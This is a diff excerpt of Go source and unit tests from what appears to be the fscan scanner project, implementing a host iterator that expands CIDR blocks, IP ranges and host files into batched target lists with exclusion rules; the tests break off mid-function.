|
||||||
|
"bufio"
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"net"
|
||||||
|
"os"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common/i18n"
|
||||||
|
)
|
||||||
|
|
||||||
|
const DefaultHostBatchSize = 4096
|
||||||
|
|
||||||
|
type HostIterator struct {
|
||||||
|
sources []hostSource
|
||||||
|
current hostSource
|
||||||
|
exclude *hostMatcher
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewHostIterator(host string, filename string, nohosts ...string) (*HostIterator, error) {
|
||||||
|
var sources []hostSource
|
||||||
|
|
||||||
|
if filename != "" {
|
||||||
|
fileSrc, err := newFileHostSource(filename)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
sources = append(sources, fileSrc)
|
||||||
|
}
|
||||||
|
|
||||||
|
hostSources, err := newHostSources(host)
|
||||||
|
if err != nil {
|
||||||
|
closeHostSources(sources)
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
sources = append(sources, hostSources...)
|
||||||
|
|
||||||
|
matcher := newHostMatcher()
|
||||||
|
for _, exclude := range nohosts {
|
||||||
|
if strings.TrimSpace(exclude) == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if err := matcher.add(exclude); err != nil {
|
||||||
|
closeHostSources(sources)
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return &HostIterator{
|
||||||
|
sources: sources,
|
||||||
|
exclude: matcher,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (it *HostIterator) Close() error {
|
||||||
|
if it == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
var firstErr error
|
||||||
|
if it.current != nil {
|
||||||
|
firstErr = it.current.Close()
|
||||||
|
it.current = nil
|
||||||
|
}
|
||||||
|
for _, src := range it.sources {
|
||||||
|
if err := src.Close(); err != nil && firstErr == nil {
|
||||||
|
firstErr = err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
it.sources = nil
|
||||||
|
return firstErr
|
||||||
|
}
|
||||||
|
|
||||||
|
func (it *HostIterator) Next() (string, bool, error) {
|
||||||
|
for {
|
||||||
|
if it.current == nil {
|
||||||
|
if len(it.sources) == 0 {
|
||||||
|
return "", false, nil
|
||||||
|
}
|
||||||
|
it.current = it.sources[0]
|
||||||
|
it.sources = it.sources[1:]
|
||||||
|
}
|
||||||
|
|
||||||
|
host, ok, err := it.current.Next()
|
||||||
|
if err != nil {
|
||||||
|
return "", false, err
|
||||||
|
}
|
||||||
|
if !ok {
|
||||||
|
if err := it.current.Close(); err != nil {
|
||||||
|
return "", false, err
|
||||||
|
}
|
||||||
|
it.current = nil
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if it.exclude != nil && it.exclude.match(host) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
return host, true, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (it *HostIterator) NextBatch(ctx context.Context, size int) ([]string, error) {
|
||||||
|
if size <= 0 {
|
||||||
|
size = DefaultHostBatchSize
|
||||||
|
}
|
||||||
|
|
||||||
|
batch := make([]string, 0, size)
|
||||||
|
seen := make(map[string]struct{}, size)
|
||||||
|
for len(batch) < size {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return batch, ctx.Err()
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
host, ok, err := it.Next()
|
||||||
|
if err != nil {
|
||||||
|
return batch, err
|
||||||
|
}
|
||||||
|
if !ok {
|
||||||
|
return batch, nil
|
||||||
|
}
|
||||||
|
if _, exists := seen[host]; exists {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seen[host] = struct{}{}
|
||||||
|
batch = append(batch, host)
|
||||||
|
}
|
||||||
|
return batch, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
type hostSource interface {
|
||||||
|
Next() (string, bool, error)
|
||||||
|
Close() error
|
||||||
|
}
|
||||||
|
|
||||||
|
type singleHostSource struct {
|
||||||
|
host string
|
||||||
|
done bool
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *singleHostSource) Next() (string, bool, error) {
|
||||||
|
if s.done {
|
||||||
|
return "", false, nil
|
||||||
|
}
|
||||||
|
s.done = true
|
||||||
|
return s.host, true, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *singleHostSource) Close() error { return nil }
|
||||||
|
|
||||||
|
type cidrHostSource struct {
|
||||||
|
current uint32
|
||||||
|
end uint32
|
||||||
|
done bool
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *cidrHostSource) Next() (string, bool, error) {
|
||||||
|
if s.done || s.current > s.end {
|
||||||
|
return "", false, nil
|
||||||
|
}
|
||||||
|
host := uint32ToIP(s.current)
|
||||||
|
if s.current == s.end {
|
||||||
|
s.done = true
|
||||||
|
} else {
|
||||||
|
s.current++
|
||||||
|
}
|
||||||
|
return host, true, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *cidrHostSource) Close() error { return nil }
|
||||||
|
|
||||||
|
type fileHostSource struct {
|
||||||
|
file *os.File
|
||||||
|
scanner *bufio.Scanner
|
||||||
|
current hostSource
|
||||||
|
}
|
||||||
|
|
||||||
|
func newFileHostSource(filename string) (*fileHostSource, error) {
|
||||||
|
file, err := os.Open(filename)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
src := &fileHostSource{
|
||||||
|
file: file,
|
||||||
|
scanner: bufio.NewScanner(file),
|
||||||
|
}
|
||||||
|
src.scanner.Buffer(make([]byte, 64*1024), 4*1024*1024)
|
||||||
|
return src, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *fileHostSource) Next() (string, bool, error) {
|
||||||
|
for {
|
||||||
|
if s.current != nil {
|
||||||
|
host, ok, err := s.current.Next()
|
||||||
|
if err != nil {
|
||||||
|
return "", false, err
|
||||||
|
}
|
||||||
|
if ok {
|
||||||
|
return host, true, nil
|
||||||
|
}
|
||||||
|
_ = s.current.Close()
|
||||||
|
s.current = nil
|
||||||
|
}
|
||||||
|
|
||||||
|
if !s.scanner.Scan() {
|
||||||
|
if err := s.scanner.Err(); err != nil {
|
||||||
|
return "", false, err
|
||||||
|
}
|
||||||
|
return "", false, nil
|
||||||
|
}
|
||||||
|
line := strings.TrimSpace(s.scanner.Text())
|
||||||
|
if line == "" || strings.HasPrefix(line, "#") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
sources, err := newHostSources(line)
|
||||||
|
if err != nil || len(sources) == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if len(sources) == 1 {
|
||||||
|
s.current = sources[0]
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
s.current = &multiHostSource{sources: sources}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *fileHostSource) Close() error {
|
||||||
|
if s.current != nil {
|
||||||
|
_ = s.current.Close()
|
||||||
|
s.current = nil
|
||||||
|
}
|
||||||
|
if s.file == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
err := s.file.Close()
|
||||||
|
s.file = nil
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
type multiHostSource struct {
|
||||||
|
sources []hostSource
|
||||||
|
current hostSource
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *multiHostSource) Next() (string, bool, error) {
|
||||||
|
for {
|
||||||
|
if s.current == nil {
|
||||||
|
if len(s.sources) == 0 {
|
||||||
|
return "", false, nil
|
||||||
|
}
|
||||||
|
s.current = s.sources[0]
|
||||||
|
s.sources = s.sources[1:]
|
||||||
|
}
|
||||||
|
host, ok, err := s.current.Next()
|
||||||
|
if err != nil {
|
||||||
|
return "", false, err
|
||||||
|
}
|
||||||
|
if ok {
|
||||||
|
return host, true, nil
|
||||||
|
}
|
||||||
|
_ = s.current.Close()
|
||||||
|
s.current = nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *multiHostSource) Close() error {
|
||||||
|
if s.current != nil {
|
||||||
|
_ = s.current.Close()
|
||||||
|
s.current = nil
|
||||||
|
}
|
||||||
|
closeHostSources(s.sources)
|
||||||
|
s.sources = nil
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func newHostSources(host string) ([]hostSource, error) {
|
||||||
|
var sources []hostSource
|
||||||
|
for _, h := range strings.Split(host, ",") {
|
||||||
|
h = strings.TrimSpace(h)
|
||||||
|
if h == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
src, err := newHostSource(h)
|
||||||
|
if err != nil {
|
||||||
|
closeHostSources(sources)
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
sources = append(sources, src)
|
||||||
|
}
|
||||||
|
return sources, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func newHostSource(host string) (hostSource, error) {
|
||||||
|
switch {
|
||||||
|
case host == "192":
|
||||||
|
return newCIDRHostSource("192.168.0.0/16")
|
||||||
|
case host == "172":
|
||||||
|
return newCIDRHostSource("172.16.0.0/12")
|
||||||
|
case host == "10":
|
||||||
|
return newCIDRHostSource("10.0.0.0/8")
|
||||||
|
case strings.Contains(host, "/"):
|
||||||
|
src, err := newCIDRHostSource(host)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf(i18n.Tr("parser_cidr_failed", host)+": %w", err)
|
||||||
|
}
|
||||||
|
return src, nil
|
||||||
|
case strings.Contains(host, "-") && !strings.Contains(host, ":") && looksLikeIPRange(host):
|
||||||
|
src, err := newRangeHostSource(host)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf(i18n.Tr("parser_ip_range_failed", host)+": %w", err)
|
||||||
|
}
|
||||||
|
return src, nil
|
||||||
|
default:
|
||||||
|
return &singleHostSource{host: host}, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func newCIDRHostSource(cidr string) (hostSource, error) {
|
||||||
|
_, ipNet, err := net.ParseCIDR(cidr)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
start, ok := ipToUint32(ipNet.IP)
|
||||||
|
if !ok {
|
||||||
|
return nil, fmt.Errorf("%s", i18n.GetText("parser_ipv4_only"))
|
||||||
|
}
|
||||||
|
ones, bits := ipNet.Mask.Size()
|
||||||
|
if bits != 32 {
|
||||||
|
return nil, fmt.Errorf("%s", i18n.GetText("parser_ipv4_only"))
|
||||||
|
}
|
||||||
|
size := uint64(1) << uint(32-ones)
|
||||||
|
end := start + uint32(size-1)
|
||||||
|
if size > 2 {
|
||||||
|
start++
|
||||||
|
end--
|
||||||
|
}
|
||||||
|
return &cidrHostSource{current: start, end: end}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func newRangeHostSource(rangeStr string) (hostSource, error) {
|
||||||
|
parts := strings.Split(rangeStr, "-")
|
||||||
|
if len(parts) != 2 {
|
||||||
|
return nil, fmt.Errorf("%s", i18n.Tr("parser_invalid_ip_range_fmt", rangeStr))
|
||||||
|
}
|
||||||
|
|
||||||
|
startIPStr := strings.TrimSpace(parts[0])
|
||||||
|
endIPStr := strings.TrimSpace(parts[1])
|
||||||
|
startIP := net.ParseIP(startIPStr)
|
||||||
|
if startIP == nil {
|
||||||
|
return nil, fmt.Errorf("%s", i18n.Tr("parser_invalid_start_ip", startIPStr))
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(endIPStr) < 4 || !strings.Contains(endIPStr, ".") {
|
||||||
|
endNum, err := strconv.Atoi(endIPStr)
|
||||||
|
if err != nil || endNum > 255 {
|
||||||
|
return nil, fmt.Errorf("%s", i18n.Tr("parser_invalid_ip_end_val", endIPStr))
|
||||||
|
}
|
||||||
|
parts := strings.Split(startIPStr, ".")
|
||||||
|
if len(parts) != 4 {
|
||||||
|
return nil, fmt.Errorf("%s", i18n.Tr("parser_invalid_ip_fmt", startIPStr))
|
||||||
|
}
|
||||||
|
parts[3] = strconv.Itoa(endNum)
|
||||||
|
endIPStr = strings.Join(parts, ".")
|
||||||
|
}
|
||||||
|
|
||||||
|
start, ok := ipToUint32(startIP)
|
||||||
|
if !ok {
|
||||||
|
return nil, fmt.Errorf("%s", i18n.GetText("parser_ipv4_only"))
|
||||||
|
}
|
||||||
|
end, ok := ipToUint32(net.ParseIP(endIPStr))
|
||||||
|
if !ok {
|
||||||
|
return nil, fmt.Errorf("%s", i18n.Tr("parser_invalid_end_ip", endIPStr))
|
||||||
|
}
|
||||||
|
if start > end {
|
||||||
|
return nil, fmt.Errorf("%s", i18n.GetText("parser_start_gt_end"))
|
||||||
|
}
|
||||||
|
return &cidrHostSource{current: start, end: end}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func closeHostSources(sources []hostSource) {
|
||||||
|
for _, src := range sources {
|
||||||
|
_ = src.Close()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
type hostMatcher struct {
|
||||||
|
exact map[string]struct{}
|
||||||
|
ranges []ipRange
|
||||||
|
}
|
||||||
|
|
||||||
|
type ipRange struct {
|
||||||
|
start uint32
|
||||||
|
end uint32
|
||||||
|
}
|
||||||
|
|
||||||
|
func newHostMatcher() *hostMatcher {
|
||||||
|
return &hostMatcher{exact: make(map[string]struct{})}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *hostMatcher) add(input string) error {
|
||||||
|
for _, h := range strings.Split(input, ",") {
|
||||||
|
h = strings.TrimSpace(h)
|
||||||
|
if h == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
switch {
|
||||||
|
case h == "192":
|
||||||
|
if err := m.addCIDR("192.168.0.0/16"); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
case h == "172":
|
||||||
|
if err := m.addCIDR("172.16.0.0/12"); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
case h == "10":
|
||||||
|
if err := m.addCIDR("10.0.0.0/8"); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
case strings.Contains(h, "/"):
|
||||||
|
if err := m.addCIDR(h); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
case strings.Contains(h, "-") && !strings.Contains(h, ":") && looksLikeIPRange(h):
|
||||||
|
if err := m.addRange(h); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
m.exact[h] = struct{}{}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *hostMatcher) addCIDR(cidr string) error {
|
||||||
|
src, err := newCIDRHostSource(cidr)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
rangeSrc, ok := src.(*cidrHostSource)
|
||||||
|
if !ok {
|
||||||
|
return fmt.Errorf("%s", i18n.GetText("parser_ipv4_only"))
|
||||||
|
}
|
||||||
|
m.ranges = append(m.ranges, ipRange{start: rangeSrc.current, end: rangeSrc.end})
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *hostMatcher) addRange(rangeStr string) error {
|
||||||
|
src, err := newRangeHostSource(rangeStr)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
rangeSrc, ok := src.(*cidrHostSource)
|
||||||
|
if !ok {
|
||||||
|
return fmt.Errorf("%s", i18n.GetText("parser_ipv4_only"))
|
||||||
|
}
|
||||||
|
m.ranges = append(m.ranges, ipRange{start: rangeSrc.current, end: rangeSrc.end})
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *hostMatcher) match(host string) bool {
|
||||||
|
if _, ok := m.exact[host]; ok {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
ip, ok := ipToUint32(net.ParseIP(host))
|
||||||
|
if !ok {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
for _, r := range m.ranges {
|
||||||
|
if ip >= r.start && ip <= r.end {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
func ipToUint32(ip net.IP) (uint32, bool) {
|
||||||
|
ip4 := ip.To4()
|
||||||
|
if ip4 == nil {
|
||||||
|
return 0, false
|
||||||
|
}
|
||||||
|
return uint32(ip4[0])<<24 | uint32(ip4[1])<<16 | uint32(ip4[2])<<8 | uint32(ip4[3]), true
|
||||||
|
}
|
||||||
|
|
||||||
|
func uint32ToIP(v uint32) string {
|
||||||
|
return fmt.Sprintf("%d.%d.%d.%d", byte(v>>24), byte(v>>16), byte(v>>8), byte(v))
|
||||||
|
}
|
||||||
|
|
||||||
|
// EstimateHostCount 快速估算主机总数(不消费 iterator)
|
||||||
|
func EstimateHostCount(host string, filename string) int64 {
|
||||||
|
var total int64
|
||||||
|
|
||||||
|
if filename != "" {
|
||||||
|
if f, err := os.Open(filename); err == nil {
|
||||||
|
scanner := bufio.NewScanner(f)
|
||||||
|
for scanner.Scan() {
|
||||||
|
line := strings.TrimSpace(scanner.Text())
|
||||||
|
if line == "" || strings.HasPrefix(line, "#") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
total += estimateHostEntry(line)
|
||||||
|
}
|
||||||
|
_ = f.Close()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, h := range strings.Split(host, ",") {
|
||||||
|
h = strings.TrimSpace(h)
|
||||||
|
if h != "" {
|
||||||
|
total += estimateHostEntry(h)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return total
|
||||||
|
}
|
||||||
|
|
||||||
|
func estimateHostEntry(entry string) int64 {
|
||||||
|
switch {
|
||||||
|
case entry == "192":
|
||||||
|
return 65536 // /16
|
||||||
|
case entry == "172":
|
||||||
|
return 1 << 20 // /12
|
||||||
|
case entry == "10":
|
||||||
|
return 1 << 24 // /8
|
||||||
|
case strings.Contains(entry, "/"):
|
||||||
|
_, ipNet, err := net.ParseCIDR(entry)
|
||||||
|
if err != nil {
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
ones, bits := ipNet.Mask.Size()
|
||||||
|
if bits != 32 {
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
size := int64(1) << uint(32-ones)
|
||||||
|
if size > 2 {
|
||||||
|
size -= 2
|
||||||
|
}
|
||||||
|
return size
|
||||||
|
case strings.Contains(entry, "-") && !strings.Contains(entry, ":") && looksLikeIPRange(entry):
|
||||||
|
parts := strings.SplitN(entry, "-", 2)
|
||||||
|
startIP := net.ParseIP(strings.TrimSpace(parts[0]))
|
||||||
|
if startIP == nil {
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
startU, ok := ipToUint32(startIP)
|
||||||
|
if !ok {
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
endStr := strings.TrimSpace(parts[1])
|
||||||
|
var endU uint32
|
||||||
|
if len(endStr) < 4 || !strings.Contains(endStr, ".") {
|
||||||
|
n, err := strconv.Atoi(endStr)
|
||||||
|
if err != nil || n > 255 {
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
endU = (startU & 0xFFFFFF00) | uint32(n)
|
||||||
|
} else {
|
||||||
|
endIP := net.ParseIP(endStr)
|
||||||
|
if endIP == nil {
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
endU, ok = ipToUint32(endIP)
|
||||||
|
if !ok {
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if endU < startU {
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
return int64(endU-startU) + 1
|
||||||
|
default:
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,944 @@
|
|||||||
|
package parsers
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"context"
|
||||||
|
"errors"
|
||||||
|
"net"
|
||||||
|
"os"
|
||||||
|
"reflect"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestHostIteratorCIDRBatch(t *testing.T) {
|
||||||
|
iter, err := NewHostIterator("192.168.1.0/30", "", "")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewHostIterator error = %v", err)
|
||||||
|
}
|
||||||
|
defer iter.Close()
|
||||||
|
|
||||||
|
batch, err := iter.NextBatch(context.Background(), 10)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NextBatch error = %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
want := []string{"192.168.1.1", "192.168.1.2"}
|
||||||
|
if !reflect.DeepEqual(batch, want) {
|
||||||
|
t.Fatalf("batch = %#v, want %#v", batch, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestHostIteratorDoesNotExpandWholeRangeAtOnce(t *testing.T) {
|
||||||
|
iter, err := NewHostIterator("10", "", "")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewHostIterator error = %v", err)
|
||||||
|
}
|
||||||
|
defer iter.Close()
|
||||||
|
|
||||||
|
batch, err := iter.NextBatch(context.Background(), 3)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NextBatch error = %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
want := []string{"10.0.0.1", "10.0.0.2", "10.0.0.3"}
|
||||||
|
if !reflect.DeepEqual(batch, want) {
|
||||||
|
t.Fatalf("batch = %#v, want %#v", batch, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestHostIteratorExcludeCIDR(t *testing.T) {
|
||||||
|
iter, err := NewHostIterator("192.168.1.0/29", "", "192.168.1.2-192.168.1.4")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewHostIterator error = %v", err)
|
||||||
|
}
|
||||||
|
defer iter.Close()
|
||||||
|
|
||||||
|
batch, err := iter.NextBatch(context.Background(), 10)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NextBatch error = %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
want := []string{"192.168.1.1", "192.168.1.5", "192.168.1.6"}
|
||||||
|
if !reflect.DeepEqual(batch, want) {
|
||||||
|
t.Fatalf("batch = %#v, want %#v", batch, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestHostIteratorAcceptsMultipleExcludeSources(t *testing.T) {
|
||||||
|
iter, err := NewHostIterator("192.168.1.0/29", "", "192.168.1.2", "192.168.1.5")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewHostIterator error = %v", err)
|
||||||
|
}
|
||||||
|
defer iter.Close()
|
||||||
|
|
||||||
|
batch, err := iter.NextBatch(context.Background(), 10)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NextBatch error = %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
want := []string{"192.168.1.1", "192.168.1.3", "192.168.1.4", "192.168.1.6"}
|
||||||
|
if !reflect.DeepEqual(batch, want) {
|
||||||
|
t.Fatalf("batch = %#v, want %#v", batch, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestHostIteratorReadsLongHostFileLine(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
path := dir + "/hosts.txt"
|
||||||
|
longPrefix := strings.Repeat("a", 70*1024)
|
||||||
|
host := longPrefix + ".example.com"
|
||||||
|
if err := os.WriteFile(path, []byte(host+"\n"), 0o600); err != nil {
|
||||||
|
t.Fatalf("WriteFile error = %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
iter, err := NewHostIterator("", path)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewHostIterator error = %v", err)
|
||||||
|
}
|
||||||
|
defer iter.Close()
|
||||||
|
|
||||||
|
batch, err := iter.NextBatch(context.Background(), 1)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NextBatch error = %v", err)
|
||||||
|
}
|
||||||
|
if !reflect.DeepEqual(batch, []string{host}) {
|
||||||
|
t.Fatalf("batch = %#v, want long host", batch)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMultiHostSourceAndMatcherCIDR(t *testing.T) {
|
||||||
|
src := &multiHostSource{sources: []hostSource{
|
||||||
|
&singleHostSource{host: "192.168.1.1"},
|
||||||
|
&singleHostSource{host: "192.168.1.2"},
|
||||||
|
}}
|
||||||
|
|
||||||
|
host, ok, err := src.Next()
|
||||||
|
if err != nil || !ok || host != "192.168.1.1" {
|
||||||
|
t.Fatalf("first Next = %q/%v/%v", host, ok, err)
|
||||||
|
}
|
||||||
|
host, ok, err = src.Next()
|
||||||
|
if err != nil || !ok || host != "192.168.1.2" {
|
||||||
|
t.Fatalf("second Next = %q/%v/%v", host, ok, err)
|
||||||
|
}
|
||||||
|
host, ok, err = src.Next()
|
||||||
|
if err != nil || ok || host != "" {
|
||||||
|
t.Fatalf("exhausted Next = %q/%v/%v", host, ok, err)
|
||||||
|
}
|
||||||
|
if err := src.Close(); err != nil {
|
||||||
|
t.Fatalf("Close error = %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
matcher := newHostMatcher()
|
||||||
|
if err := matcher.add("192.168.1.0/30,example.com"); err != nil {
|
||||||
|
t.Fatalf("matcher add error = %v", err)
|
||||||
|
}
|
||||||
|
if !matcher.match("192.168.1.1") || !matcher.match("192.168.1.2") || !matcher.match("example.com") {
|
||||||
|
t.Fatal("matcher should match CIDR hosts and exact host")
|
||||||
|
}
|
||||||
|
if matcher.match("192.168.1.3") || matcher.match("nope.example") {
|
||||||
|
t.Fatal("matcher matched hosts outside its rules")
|
||||||
|
}
|
||||||
|
if err := matcher.add("2001:db8::/126"); err == nil {
|
||||||
|
t.Fatal("IPv6 CIDR should be rejected by IPv4-only matcher")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCloseHostSourcesIgnoresCloseErrors(t *testing.T) {
|
||||||
|
first := &closeTrackingSource{err: errors.New("close failed")}
|
||||||
|
second := &closeTrackingSource{}
|
||||||
|
|
||||||
|
closeHostSources([]hostSource{first, second})
|
||||||
|
|
||||||
|
if !first.closed || !second.closed {
|
||||||
|
t.Fatalf("sources closed = %v/%v, want both true", first.closed, second.closed)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
type closeTrackingSource struct {
|
||||||
|
closed bool
|
||||||
|
err error
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *closeTrackingSource) Next() (string, bool, error) {
|
||||||
|
return "", false, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *closeTrackingSource) Close() error {
|
||||||
|
s.closed = true
|
||||||
|
return s.err
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// newHostSource 分支覆盖
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestNewHostSource_Shortcuts 验证 192/172/10 快捷方式展开为正确 CIDR
|
||||||
|
func TestNewHostSource_Shortcuts(t *testing.T) {
|
||||||
|
cases := []struct {
|
||||||
|
input string
|
||||||
|
wantFirst string
|
||||||
|
}{
|
||||||
|
{"192", "192.168.0.1"},
|
||||||
|
{"172", "172.16.0.1"},
|
||||||
|
{"10", "10.0.0.1"},
|
||||||
|
}
|
||||||
|
for _, c := range cases {
|
||||||
|
t.Run(c.input, func(t *testing.T) {
|
||||||
|
src, err := newHostSource(c.input)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("newHostSource(%q) error = %v", c.input, err)
|
||||||
|
}
|
||||||
|
defer src.Close()
|
||||||
|
host, ok, err := src.Next()
|
||||||
|
if err != nil || !ok {
|
||||||
|
t.Fatalf("Next() = %q/%v/%v", host, ok, err)
|
||||||
|
}
|
||||||
|
if host != c.wantFirst {
|
||||||
|
t.Errorf("first host = %q, 期望 %q", host, c.wantFirst)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestNewHostSource_CIDRBranch 验证含 "/" 走 CIDR 分支
|
||||||
|
func TestNewHostSource_CIDRBranch(t *testing.T) {
|
||||||
|
src, err := newHostSource("10.0.0.0/30")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("newHostSource CIDR error = %v", err)
|
||||||
|
}
|
||||||
|
defer src.Close()
|
||||||
|
host, ok, _ := src.Next()
|
||||||
|
if !ok || host != "10.0.0.1" {
|
||||||
|
t.Errorf("CIDR first host = %q, 期望 10.0.0.1", host)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestNewHostSource_InvalidCIDR 无效 CIDR 返回错误
|
||||||
|
func TestNewHostSource_InvalidCIDR(t *testing.T) {
|
||||||
|
_, err := newHostSource("999.0.0.0/24")
|
||||||
|
if err == nil {
|
||||||
|
t.Error("无效 CIDR 应返回 error")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestNewHostSource_RangeBranch 验证 a-b 格式走 range 分支
|
||||||
|
func TestNewHostSource_RangeBranch(t *testing.T) {
|
||||||
|
src, err := newHostSource("192.168.1.5-192.168.1.7")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("newHostSource range error = %v", err)
|
||||||
|
}
|
||||||
|
defer src.Close()
|
||||||
|
|
||||||
|
var got []string
|
||||||
|
for {
|
||||||
|
h, ok, err := src.Next()
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Next() error = %v", err)
|
||||||
|
}
|
||||||
|
if !ok {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
got = append(got, h)
|
||||||
|
}
|
||||||
|
want := []string{"192.168.1.5", "192.168.1.6", "192.168.1.7"}
|
||||||
|
